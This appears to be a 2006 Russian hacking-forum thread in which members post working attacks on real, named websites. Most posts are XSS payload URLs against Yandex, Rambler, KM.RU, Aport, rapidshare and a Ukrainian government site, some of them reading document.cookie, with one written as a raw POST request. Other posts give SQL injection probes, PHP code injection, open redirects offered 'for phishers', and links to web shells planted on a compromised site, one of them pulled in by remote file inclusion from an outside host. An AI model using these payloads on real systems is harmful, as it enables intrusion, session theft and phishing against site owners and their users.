Баги на сайтах.

Discussion in 'Уязвимости' started by D1mOn, 28 Jan 2006.

Thread Status:
Not open for further replies.
  1. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    208
    Likes Received:
    18
    Reputations:
    3
    _http://www.hedegaard.nu/image/set.php


    Шелл тут прикольный .Я думал все юзают r57shell 124
     
    #61 Vandal, 25 Apr 2006
    Last edited: 25 Apr 2006
    1 person likes this.
  2. censored!

    censored! Green member

    Joined:
    2 Nov 2004
    Messages:
    1,160
    Likes Received:
    299
    Reputations:
    151
    http://suncity.combats.ru/enter.pl?step=1&add=1&login='><script>alert(/testing_by_censored!/)</script>>

    http://capitalcity.combats.ru/enter.pl?login="><script>alert(/testing_by_censored!/)</script>&step=2&reminder=1234567

    ----------

    http://rrc.territory.ru/register1.php?next=1&code=&num=&edit%5BNICK%5D="><script>alert(/testing_by_censored!/)</script>

    http://rrc.territory.ru/error.php?msg=Внимание!%20Всем%20игрокам%20надо%20пройти%20заново%20систему%20регистрации!%20p.s.Проходить%20ее%20надо%20на%20antichat.ru%20=)

    ----------

    http://forum.siemens-club.ru/member.php?Action=viewprofile&username=<script>alert(/testing_by_censored!/)</script>
     
    _________________________
    4 people like this.
  3. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    _http://www.schooljournals.net/index.php?output=CommentsPage(PHP CODE)

    exmpl:

    _http://www.schooljournals.net/index.php?output=CommentsPage(phpinfo())

    Стоит фильтрация на все спецсимволы. Как обходить - читаем http://forum.antichat.ru/thread18219.html
     
  4. degeneration x

    degeneration x Elder - Старейшина

    Joined:
    11 Oct 2005
    Messages:
    92
    Likes Received:
    38
    Reputations:
    21
  5. degeneration x

    degeneration x Elder - Старейшина

    Joined:
    11 Oct 2005
    Messages:
    92
    Likes Received:
    38
    Reputations:
    21
    http://www.mirt-service.ru/constructor.php?manufacturer=1'

    http://mp3plus.ru/album.php?id=4796&art=1247'
     
  6. gLAnce

    gLAnce Elder - Старейшина

    Joined:
    24 Apr 2006
    Messages:
    19
    Likes Received:
    19
    Reputations:
    14
    только что, случано нашел (работает только в IE)

    _http://www.yandex.ru/yandsearch?text=gLAnce_was_here&stype="><script>alert('found_by_gLAnce')</script>
    _http://images.yandex.ru/yandsearch?rpt="><script>alert('found_by_gLAnce')</script>&text=xaxa
     
    #66 gLAnce, 29 Apr 2006
    Last edited: 29 Apr 2006
    2 people like this.
  7. gLAnce

    gLAnce Elder - Старейшина

    Joined:
    24 Apr 2006
    Messages:
    19
    Likes Received:
    19
    Reputations:
    14
    делаемся так. Знаю что некоторые XSS уже выкладывали но всетаки удобно когда все собрано в одно место
    XSS НА ИЗВЕСТНЫХ RUSS-ПОИСКОВИКАХ

    Yandex.RU - Internet Explorer
    _http://www.yandex.ru/yandsearch?text=gLAnce_was_here&stype="><script>alert('found_by_gLAnce')</script>
    _http://images.yandex.ru/yandsearch?rpt="><script>alert('found_by_gLAnce')</script>&text=xaxa
    _http://news.yandex.ru/yandsearch?rpt=nnews2&grhow=clutop&text=sasa&doSearch="><script>alert('found')</script>

    Rambler.RU
    _http://www.rambler.ru/db/news/msg.html?mid='"><script>alert('found_by_gLAnce')</script>
    _http://weather.rambler.ru/index.html?search=<script>alert('found_by_gLAnce')</script>
    _http://tv.rambler.ru/index.html?channel_id="><script>alert('found_by_gLAnce')</script>
    _http://foto.rambler.ru/srch?control_charset=huy&sort=0&set=photo&words="><script>alert('found_by_gLAnce')</script>
    _http://horoscopes.rambler.ru/day.html?day=1%22%3E%3Cscript%3Ealert%28%27found_by_gLAnce%27%29%3C%2Fscript%3E&month=4&year=1965&gender=f
    _http://www.rambler.ru/db/news/news.html?s="><script>alert(found_by_gLAnce)</script>
    _http://cla.rambler.ru/?action=login&error[l_login][value]=privet"><script>javascript:alert(document.cookie)</script>
    _http://olymp2006.rambler.ru/winners.html?day=http://olymp2006.rambler.ru/shedule.html?day=%3Cscript%3Ealert(/XSS/)%3C/script%3E

    KM.RU
    _http://go.km.ru/index.asp?idr=4&ids=&wdv=0&mrv=1&dti=0&dtv=6&idt=&ann=1&srt=0&itp=2&osq=%3Cscript%3Ealert+%28found_by_gLAnce%29%3C%2Fscript%3E&P1=&P2=&P3=&ext=0&opt=0&hlp=0&sr=0&sq=%3Cscript%3Ealert+%28%27found_by_gLAnce%27%29%3C%2Fscript%3E
    _http://conference.km.ru/add_question.asp?id="><script>alert('found_by_gLAnce')</script>
    вобщем на км.ру полно css, все писать сюда не буду

    Aport.RU
    _http://www.aport.ru/help/?p="><script>alert%20('found-by-gLAnce')</script>
    _http://ec.aport.ru/scripts/template.dll?r="><script>alert%20('i_vot_tak_vot')</script>&That=goods&Base=eshop&Rt=2&Tn=
    _http://sm.aport.ru/scripts/template.dll?That=std&r=\"><script>alert%20(/found_by_gLAnce/)</script>
     
    #67 gLAnce, 30 Apr 2006
    Last edited: 30 Apr 2006
    1 person likes this.
  8. haZard0us

    haZard0us Elder - Старейшина

    Joined:
    18 Apr 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    5
    http://www.mon.gov.ua

    вбиваем в поиск "><script>alert(document.cookie)</script> и наслаждаемся резалтом :)

    http://www.mon.gov.ua/phpbb/docs/ -- смотрим резалт (для ленивых -

    Warning: Failed opening 'phpbb/docs//main.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/spool/www.mstu.gov.ua/main.php on line 205) ),
    немного подумав уже наталкивает на мысли =)
     
    1 person likes this.
  9. KaMiKadZe

    KaMiKadZe Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    163
    Likes Received:
    35
    Reputations:
    19
    _http://www.hedegaard.nu/index.php?p=http://k1on.nm.ru/conf.php сс что спер чей то шелл своего нету)))
     
  10. gLAnce

    gLAnce Elder - Старейшина

    Joined:
    24 Apr 2006
    Messages:
    19
    Likes Received:
    19
    Reputations:
    14
    _http://wordstat.yandex.ru/advq?rpt=ppc&shw="><script>alert%20(/found_by_gLAnce/)</script>
     
  11. gLAnce

    gLAnce Elder - Старейшина

    Joined:
    24 Apr 2006
    Messages:
    19
    Likes Received:
    19
    Reputations:
    14
    _http://www.plati.ru/asp/pay.asp?id_d=11111&searchstr=sa&agent="><script>alert('found_by_gLAnce')</script>
     
  12. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    208
    Likes Received:
    18
    Reputations:
    3
    _http://www.plod.ru/search.php?search=%3Ch1%3ETEST%20AC%20TEAM%20%3C/h1%3E3E&x=0&y=0
     
  13. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
  14. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    302
    Likes Received:
    228
    Reputations:
    401
    Xss на rapidshare.de
    http://rapidshare.de/en/forgotpw.html
    Не фильтруется поле email.

    POST rapidshare.de/cgi-bin/forgotpw.cgi HTTP/1.0
    Accept: */*
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
    Host: rapidshare.de
    Content-Length: 65
    Connection: Close
    Pragma: no-cache

    email=<script>alert('XSS')%3B</script>
     
    1 person likes this.
  15. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    трахающиеся невесты.. только толку 0
    _http://officegirls.ru/cgi-bin/showpic.cgi?act=show&pg=2&id=<script>alert('opa ;-) by cy4_')</script>&ctg=Brides&c=2
     
    _________________________
  16. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    __http://antharas.ru/?id=95&lo=1&hi='
    __http://antharas.ru/?id=95&mid=12081'
    __http://www.uinzz.com/stat/click.php?http://www.yandex.ru/ (думаю для фишеров полезно будет)
    __http://dkcs.void.ru/index.php?module=read&action=0 (даж не баг, просто улыбнуло)
    __http://www.truckmaster.ru/catalog.phtml?dir=1&subdir=6'
     
    _________________________
    #76 +toxa+, 4 May 2006
    Last edited: 4 May 2006
  17. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    302
    Likes Received:
    228
    Reputations:
    401
    Xss на icq.rambler.ru

    Не фильтруются: ipath, iname, alt,
    Code:
    _www.icq.rambler.ru/popup.html?ipath="><script>alert('XSS')%3B</script>&iname=%2Fimages%2F184_64%2E1141153413%2E19621%2Egif&width=535&height=240&alt=%C0%F3%E4%E8%EE-Xtraz
    Вроде еще не выкладывали.
     
    1 person likes this.
  18. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    _http://www.securitylab.ru/bitrix/redirect.php?event1=gateway_click&event2=news&event3=266774&goto=http://ya.ru/
    небольшая уловка для фишеров...
     
    _________________________
    #78 +toxa+, 5 May 2006
    Last edited: 5 May 2006
  19. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    __http://www.office-tnt.ru/staff/workers/?8131'
    чё то меня на тнт потянуло...
     
    _________________________
  20. gLAnce

    gLAnce Elder - Старейшина

    Joined:
    24 Apr 2006
    Messages:
    19
    Likes Received:
    19
    Reputations:
    14
    XSS
    оплатна.info

    http://www.oplata.info/delivery/inf_purse.asp?id_i=615238&wm_id=111111111111&ninv=15730705&rnd="><Script>alert('found_by_gLAnce')</script>
     
Loading...
Thread Status:
Not open for further replies.